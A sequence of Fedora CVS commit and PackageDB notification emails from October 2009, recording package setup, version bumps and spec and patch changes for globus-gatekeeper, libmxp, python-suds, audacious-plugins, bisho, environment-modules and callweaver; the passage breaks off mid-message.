Update of /cvs/pkgs/rpms/globus-gatekeeper/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv24173/rpms/globus-gatekeeper/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-gatekeeper


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-gatekeeper
# $Id: Makefile,v 1.1 2009/10/19 16:26:16 kevin Exp $
NAME := globus-gatekeeper
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:42 +0000
Subject: [pkgdb] libmxp was added for rrix
Message-ID: <20091019162642.9300A10F86E@bastion2.fedora.phx.redhat.com>

kevin has added Package libmxp with summary MUD eXtension protocol library
kevin has approved Package libmxp
kevin has added a Fedora devel branch for libmxp with an owner of rrix
kevin has approved libmxp in Fedora devel
kevin has approved Package libmxp
kevin has set commit to Approved for 107427 on libmxp (Fedora devel)
kevin has set checkout to Approved for 107427 on libmxp (Fedora devel)
kevin has set build to Approved for 107427 on libmxp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libmxp



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:44 +0000
Subject: [pkgdb] libmxp summary updated by kevin
Message-ID: <20091019162644.86D2A10F88F@bastion2.fedora.phx.redhat.com>

kevin set package libmxp summary to MUD eXtension protocol library

To make changes to this package see:
  /pkgdb/packages/name/libmxp



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:44 +0000
Subject: [pkgdb] libmxp (Fedora, 10) updated by kevin
Message-ID: <20091019162644.99CC110F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for libmxp
kevin has set commit to Approved for 107427 on libmxp (Fedora 11)
kevin has set checkout to Approved for 107427 on libmxp (Fedora 11)
kevin has set build to Approved for 107427 on libmxp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libmxp



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:44 +0000
Subject: [pkgdb] libmxp (Fedora, 10) updated by kevin
Message-ID: <20091019162644.9CF5510F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for libmxp
kevin has set commit to Approved for 107427 on libmxp (Fedora 12)
kevin has set checkout to Approved for 107427 on libmxp (Fedora 12)
kevin has set build to Approved for 107427 on libmxp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libmxp



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:44 +0000
Subject: [pkgdb] libmxp (Fedora, 10) updated by kevin
Message-ID: <20091019162644.A686510F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for libmxp
kevin has set commit to Approved for 107427 on libmxp (Fedora 10)
kevin has set checkout to Approved for 107427 on libmxp (Fedora 10)
kevin has set build to Approved for 107427 on libmxp (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/libmxp



From kevin at fedoraproject.org  Mon Oct 19 16:26:52 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:26:52 +0000 (UTC)
Subject: rpms/libmxp - New directory
Message-ID: <20091019162652.1878C11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/libmxp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsH24602/rpms/libmxp

Log Message:
Directory /cvs/pkgs/rpms/libmxp added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:26:52 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:26:52 +0000 (UTC)
Subject: rpms/libmxp/devel - New directory
Message-ID: <20091019162652.3534911C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/libmxp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsH24602/rpms/libmxp/devel

Log Message:
Directory /cvs/pkgs/rpms/libmxp/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:26:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:26:59 +0000 (UTC)
Subject: rpms/libmxp Makefile,NONE,1.1
Message-ID: <20091019162659.2391A11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/libmxp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsH24602/rpms/libmxp

Added Files:
	Makefile 
Log Message:
Setup of module libmxp


--- NEW FILE Makefile ---
# Top level Makefile for module libmxp
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:26:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:26:59 +0000 (UTC)
Subject: rpms/libmxp/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091019162659.61FB811C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/libmxp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsH24602/rpms/libmxp/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module libmxp


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: libmxp
# $Id: Makefile,v 1.1 2009/10/19 16:26:59 kevin Exp $
NAME := libmxp
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From jortel at fedoraproject.org  Mon Oct 19 16:28:03 2009
From: jortel at fedoraproject.org (Jeff Ortel)
Date: Mon, 19 Oct 2009 16:28:03 +0000 (UTC)
Subject: rpms/python-suds/devel .cvsignore, 1.7, 1.8 python-suds.spec, 1.12, 
	1.13 sources, 1.10, 1.11
Message-ID: <20091019162803.5FBFD11C00DC@cvs1.fedora.phx.redhat.com>

Author: jortel

Update of /cvs/pkgs/rpms/python-suds/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25051

Modified Files:
	.cvsignore python-suds.spec sources 
Log Message:
release suds version 0.3.7


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	24 Jun 2009 17:49:56 -0000	1.7
+++ .cvsignore	19 Oct 2009 16:28:03 -0000	1.8
@@ -4,3 +4,4 @@ python-suds-0.3.3.tar.gz
 python-suds-0.3.4.tar.gz
 python-suds-0.3.5.tar.gz
 python-suds-0.3.6.tar.gz
+python-suds-0.3.7.tar.gz


Index: python-suds.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/devel/python-suds.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- python-suds.spec	26 Jul 2009 23:10:43 -0000	1.12
+++ python-suds.spec	19 Oct 2009 16:28:03 -0000	1.13
@@ -2,8 +2,8 @@
 
 Summary: A python SOAP client
 Name:  python-suds
-Version: 0.3.6
-Release: 2%{?dist}
+Version: 0.3.7
+Release: 1%{?dist}
 Source0: https://fedorahosted.org/releases/s/u/%{name}/%{name}-%{version}.tar.gz
 License: LGPLv3+
 Group: Development/Libraries
@@ -41,16 +41,34 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{python_sitelib}/suds/bindings
 %dir %{python_sitelib}/suds/sax
 %dir %{python_sitelib}/suds/xsd
+%dir %{python_sitelib}/suds/mx
+%dir %{python_sitelib}/suds/umx
 %dir %{python_sitelib}/suds/transport
 %{python_sitelib}/suds/*.py*
 %{python_sitelib}/suds/bindings/*.py*
 %{python_sitelib}/suds/sax/*.py*
 %{python_sitelib}/suds/xsd/*.py*
+%{python_sitelib}/suds/mx/*.py*
+%{python_sitelib}/suds/umx/*.py*
 %{python_sitelib}/suds/transport/*.py*
 
 %doc README LICENSE
 
 %changelog
+* Thu Oct 16 2009 jortel <jortel at redhat.com> - 0.3.7-1
+- Better soap header support
+- Added new transport HttpAuthenticated for active (not passive) basic authentication.
+- New options (prefixes, timeout, retxml)
+- WSDL processing enhancements.
+- Expanded builtin XSD type support.
+- Fixed <xs:iniclude/>
+- Better XML date/datetime conversion.
+- Client.clone() method added for lightweight copy of client object.
+- XSD processing fixes/enhancements.
+- Better <simpleType/> by <xs:restriction/> support.
+- Performance enhancements. 
+- Fixed tickets: #65, #232, #233, #235, #241, #242, #244, #247, #254, #254, #256, #257, #258
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.6-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	24 Jun 2009 17:49:56 -0000	1.10
+++ sources	19 Oct 2009 16:28:03 -0000	1.11
@@ -4,3 +4,4 @@ a4544f1eaaeb3ca0e78180160909ab01  python
 3c704119a5a27542ea5347fc13433b89  python-suds-0.3.4.tar.gz
 2fc4bbbb2351b24e707eac8434d5cb73  python-suds-0.3.5.tar.gz
 320b2f8816aca6445b31441eb201e95b  python-suds-0.3.6.tar.gz
+687a1287e5e86da42d1b161f29d58886  python-suds-0.3.7.tar.gz



From pkgdb at fedoraproject.org  Mon Oct 19 16:26:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:26:00 +0000
Subject: [pkgdb] globus-gatekeeper (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162600.90EB010F8B9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-gatekeeper
kevin has set commit to Approved for 107427 on globus-gatekeeper (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-gatekeeper (Fedora 12)
kevin has set build to Approved for 107427 on globus-gatekeeper (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-gatekeeper



From kevin at fedoraproject.org  Mon Oct 19 16:26:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:26:09 +0000 (UTC)
Subject: rpms/globus-gatekeeper - New directory
Message-ID: <20091019162609.18E8A11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gatekeeper
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv24173/rpms/globus-gatekeeper

Log Message:
Directory /cvs/pkgs/rpms/globus-gatekeeper added to the repository




From mschwendt at fedoraproject.org  Mon Oct 19 16:30:26 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Mon, 19 Oct 2009 16:30:26 +0000 (UTC)
Subject: rpms/audacious-plugins/F-10
	audacious-plugins-1.5.1-pulseaudio-volume.patch, NONE,
	1.1 audacious-plugins.spec, 1.37, 1.38
Message-ID: <20091019163026.6618911C029A@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25628

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-1.5.1-pulseaudio-volume.patch 
Log Message:
* Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-12
- Patch pulseaudio plugin to not get confused by volume values passed
  in via callback.


audacious-plugins-1.5.1-pulseaudio-volume.patch:
 pulse_audio.c |   14 ++++++++++++++
 1 file changed, 14 insertions(+)

--- NEW FILE audacious-plugins-1.5.1-pulseaudio-volume.patch ---
There is no callback feature in Audacious < 2.2 that moves the UI's volume
slider when external volume controls are used. Hence stick to the internal
volume level and don't get confused when trying to save/restore external
volume levels.

diff -Nur audacious-plugins-1.5.1-orig/src/pulse_audio/pulse_audio.c audacious-plugins-1.5.1/src/pulse_audio/pulse_audio.c
--- audacious-plugins-1.5.1-orig/src/pulse_audio/pulse_audio.c	2008-05-24 00:44:20.000000000 +0200
+++ audacious-plugins-1.5.1/src/pulse_audio/pulse_audio.c	2009-10-19 16:46:47.527799161 +0200
@@ -83,6 +83,8 @@
 }
 
 static void info_cb(struct pa_context *c, const struct pa_sink_input_info *i, int is_last, void *userdata) {
+    return;  /* we don't do anything useful with this callback */
+
     assert(c);
 
     if (!i)
@@ -685,6 +687,18 @@
         goto unlock_and_fail;
     }
 
+    pa_operation_unref(o);
+    /* set initial volume */
+    if (!(o = pa_context_set_sink_input_volume(context, pa_stream_get_index(stream), &volume, NULL, NULL))) {
+        g_warning("pa_context_set_sink_input_volume() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+    pa_operation_unref(o);
+
     do_trigger = 0;
     written = 0;
     time_offset_msec = 0;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-10/audacious-plugins.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- audacious-plugins.spec	19 Sep 2009 14:54:25 -0000	1.37
+++ audacious-plugins.spec	19 Oct 2009 16:30:26 -0000	1.38
@@ -4,7 +4,7 @@
 
 Name:           audacious-plugins
 Version:        1.5.1
-Release:        11%{?dist}
+Release:        12%{?dist}
 Summary:        Plugins for the Audacious media player
 Group:          Applications/Multimedia
 
@@ -26,6 +26,7 @@ Patch5:         audacious-plugins-1.5.1-
 Patch6:         audacious-plugins-1.5.1-amidi-symbol.patch
 Patch7:         audacious-plugins-1.5.1-neon-reader-error-crash.patch
 Patch8:         audacious-plugins-1.5.1-sndfile-cleanup.patch
+Patch9:         audacious-plugins-1.5.1-pulseaudio-volume.patch
 
 # alsa-ng plugin from 2.1 devel up to 2.2 alpha1
 Patch50: audacious-plugins-1.5.1-alsa-ng.patch
@@ -177,6 +178,8 @@ vortex compressed files.
 # pause and seek for libsndfile input plugin
 %patch8 -p1 -b .sndfile-cleanup
 
+%patch9 -p1 -b .pulseaudio-volume
+
 %patch50 -p1 -b .alsa-ng
 %patch51 -p1 -b .alsa-ng2
 %patch52 -p1 -b .mixer-not-ready
@@ -275,6 +278,10 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-12
+- Patch pulseaudio plugin to not get confused by volume values passed
+  in via callback.
+
 * Sat Sep 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-11
 - Patch alsa-ng plugin with some buffer prefilling to fight underruns.
 - Merge minor changes from 2.2 alpha1 alsa-ng plugin.



From pbrobinson at fedoraproject.org  Mon Oct 19 16:31:21 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 19 Oct 2009 16:31:21 +0000 (UTC)
Subject: rpms/bisho/devel .cvsignore, 1.6, 1.7 bisho.spec, 1.12, 1.13 sources,
	1.6, 1.7
Message-ID: <20091019163121.5DC3911C00DC@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/bisho/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25980

Modified Files:
	.cvsignore bisho.spec sources 
Log Message:
- New upstream 0.16 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	14 Oct 2009 12:54:49 -0000	1.6
+++ .cvsignore	19 Oct 2009 16:31:21 -0000	1.7
@@ -1 +1 @@
-bisho-0.15.tar.bz2
+bisho-0.16.tar.bz2


Index: bisho.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/bisho.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- bisho.spec	14 Oct 2009 12:54:49 -0000	1.12
+++ bisho.spec	19 Oct 2009 16:31:21 -0000	1.13
@@ -1,5 +1,5 @@
 Name:           bisho
-Version:        0.15
+Version:        0.16
 Release:        1%{?dist}
 Summary:        Moblin configuration tool for mojito social network aggregator
 
@@ -92,6 +92,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/bisho.png
 
 %changelog
+* Mon Oct 19 2009 Peter Robinson <pbrobinson at gmail.com> 0.16-1
+- New upstream 0.16 release
+
 * Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.15-1
 - New upstream 0.15 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	14 Oct 2009 12:54:49 -0000	1.6
+++ sources	19 Oct 2009 16:31:21 -0000	1.7
@@ -1 +1 @@
-bb28f0ec9d197ad3e5419f1b4bb1ad58  bisho-0.15.tar.bz2
+66e8f193d090918feda1ce537307f4eb  bisho-0.16.tar.bz2



From orion at fedoraproject.org  Mon Oct 19 16:34:46 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 19 Oct 2009 16:34:46 +0000 (UTC)
Subject: rpms/environment-modules/devel modules.sh, NONE,
	1.1 environment-modules.spec, 1.24, 1.25
Message-ID: <20091019163446.834BE11C00DC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/environment-modules/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27970

Modified Files:
	environment-modules.spec 
Added Files:
	modules.sh 
Log Message:
* Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-3
- Support different flavors of "sh" (bug #529493)



--- NEW FILE modules.sh ---
. /usr/share/Modules/init/`basename $SHELL`


Index: environment-modules.spec
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/devel/environment-modules.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- environment-modules.spec	23 Sep 2009 19:55:43 -0000	1.24
+++ environment-modules.spec	19 Oct 2009 16:34:46 -0000	1.25
@@ -1,12 +1,13 @@
 Name:           environment-modules
 Version:        3.2.7b
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Provides dynamic modification of a user's environment
 
 Group:          System Environment/Base
 License:        GPLv2+
 URL:            http://modules.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/modules/modules-%{version}.tar.bz2
+Source1:        modules.sh
 Patch0:         environment-modules-3.2.7-bindir.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -56,7 +57,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
-ln -s %{_datadir}/Modules/init/bash $RPM_BUILD_ROOT%{_sysconfdir}/profile.d/modules.sh
+cp -p %SOURCE1 $RPM_BUILD_ROOT%{_sysconfdir}/profile.d/modules.sh
 ln -s %{_datadir}/Modules/init/csh $RPM_BUILD_ROOT%{_sysconfdir}/profile.d/modules.csh
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/modulefiles
 
@@ -77,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-3
+- Support different flavors of "sh" (bug #529493)
+
 * Wed Sep 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-2
 - Add patch to fix modulecmd path in init files
 



From orion at fedoraproject.org  Mon Oct 19 16:39:19 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 19 Oct 2009 16:39:19 +0000 (UTC)
Subject: rpms/environment-modules/F-12 import.log, NONE, 1.1 modules.sh, NONE,
	1.1 environment-modules.spec, 1.24, 1.25
Message-ID: <20091019163919.46F6F11C00DC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/environment-modules/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29396/F-12

Modified Files:
	environment-modules.spec 
Added Files:
	import.log modules.sh 
Log Message:
Sync from devel


--- NEW FILE import.log ---
environment-modules-3_2_7b-3_fc13:F-12:environment-modules-3.2.7b-3.fc13.src.rpm:1255970343


--- NEW FILE modules.sh ---
. /usr/share/Modules/init/`basename $SHELL`


Index: environment-modules.spec
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-12/environment-modules.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- environment-modules.spec	23 Sep 2009 19:55:43 -0000	1.24
+++ environment-modules.spec	19 Oct 2009 16:39:18 -0000	1.25
@@ -1,12 +1,13 @@
 Name:           environment-modules
 Version:        3.2.7b
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Provides dynamic modification of a user's environment
 
 Group:          System Environment/Base
 License:        GPLv2+
 URL:            http://modules.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/modules/modules-%{version}.tar.bz2
+Source1:        modules.sh
 Patch0:         environment-modules-3.2.7-bindir.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -56,7 +57,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
-ln -s %{_datadir}/Modules/init/bash $RPM_BUILD_ROOT%{_sysconfdir}/profile.d/modules.sh
+cp -p %SOURCE1 $RPM_BUILD_ROOT%{_sysconfdir}/profile.d/modules.sh
 ln -s %{_datadir}/Modules/init/csh $RPM_BUILD_ROOT%{_sysconfdir}/profile.d/modules.csh
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/modulefiles
 
@@ -77,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-3
+- Support different flavors of "sh" (bug #529493)
+
 * Wed Sep 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-2
 - Add patch to fix modulecmd path in init files
 



From orion at fedoraproject.org  Mon Oct 19 16:40:44 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 19 Oct 2009 16:40:44 +0000 (UTC)
Subject: rpms/environment-modules/F-11 modules.sh, NONE,
	1.1 environment-modules.spec, 1.21, 1.22 import.log, 1.3, 1.4
Message-ID: <20091019164044.0AC3711C02A6@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/environment-modules/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29827/F-11

Modified Files:
	environment-modules.spec import.log 
Added Files:
	modules.sh 
Log Message:
Sync from devel


--- NEW FILE modules.sh ---
. /usr/share/Modules/init/`basename $SHELL`


Index: environment-modules.spec
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-11/environment-modules.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- environment-modules.spec	23 Sep 2009 20:00:48 -0000	1.21
+++ environment-modules.spec	19 Oct 2009 16:40:43 -0000	1.22
@@ -1,12 +1,13 @@
 Name:           environment-modules
 Version:        3.2.7b
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Provides dynamic modification of a user's environment
 
 Group:          System Environment/Base
 License:        GPLv2+
 URL:            http://modules.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/modules/modules-%{version}.tar.bz2
+Source1:        modules.sh
 Patch0:         environment-modules-3.2.7-bindir.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -56,7 +57,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
-ln -s %{_datadir}/Modules/init/bash $RPM_BUILD_ROOT%{_sysconfdir}/profile.d/modules.sh
+cp -p %SOURCE1 $RPM_BUILD_ROOT%{_sysconfdir}/profile.d/modules.sh
 ln -s %{_datadir}/Modules/init/csh $RPM_BUILD_ROOT%{_sysconfdir}/profile.d/modules.csh
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/modulefiles
 
@@ -77,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-3
+- Support different flavors of "sh" (bug #529493)
+
 * Wed Sep 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-2
 - Add patch to fix modulecmd path in init files
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	23 Sep 2009 20:00:48 -0000	1.3
+++ import.log	19 Oct 2009 16:40:43 -0000	1.4
@@ -1,3 +1,4 @@
 environment-modules-3_2_7-1_fc12:F-11:environment-modules-3.2.7-1.fc12.src.rpm:1253552344
 environment-modules-3_2_7b-1_fc12:F-11:environment-modules-3.2.7b-1.fc12.src.rpm:1253719416
 environment-modules-3_2_7b-2_fc12:F-11:environment-modules-3.2.7b-2.fc12.src.rpm:1253735985
+environment-modules-3_2_7b-3_fc13:F-11:environment-modules-3.2.7b-3.fc13.src.rpm:1255970373



From itamarjp at fedoraproject.org  Mon Oct 19 16:41:24 2009
From: itamarjp at fedoraproject.org (Itamar Reis Peixoto)
Date: Mon, 19 Oct 2009 16:41:24 +0000 (UTC)
Subject: rpms/callweaver/devel callweaver.spec,1.22,1.23
Message-ID: <20091019164124.D2F3111C00DC@cvs1.fedora.phx.redhat.com>

Author: itamarjp

Update of /cvs/pkgs/rpms/callweaver/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29022

Modified Files:
	callweaver.spec 
Log Message:
fix changelog



Index: callweaver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/callweaver/devel/callweaver.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- callweaver.spec	19 Oct 2009 03:23:31 -0000	1.22
+++ callweaver.spec	19 Oct 2009 16:41:24 -0000	1.23
@@ -419,7 +419,7 @@ test "$1" != 0 || /sbin/chkconfig --del 
 
 %changelog
 * Mon Oct 19 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.2.1-3
-- modify iniscript for compatibility with EL
+- modify spec file for compatibility with EL
 
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.2.1-2
 - rebuilt with new openssl



From pbrobinson at fedoraproject.org  Mon Oct 19 16:41:25 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 19 Oct 2009 16:41:25 +0000 (UTC)
Subject: rpms/bisho/F-12 .cvsignore, 1.6, 1.7 bisho.spec, 1.11, 1.12 sources,
	1.6, 1.7
Message-ID: <20091019164125.B31B711C00DC@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/bisho/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30089

Modified Files:
	.cvsignore bisho.spec sources 
Log Message:
- New upstream 0.16 release


Index: .cvsignore
===================================================================
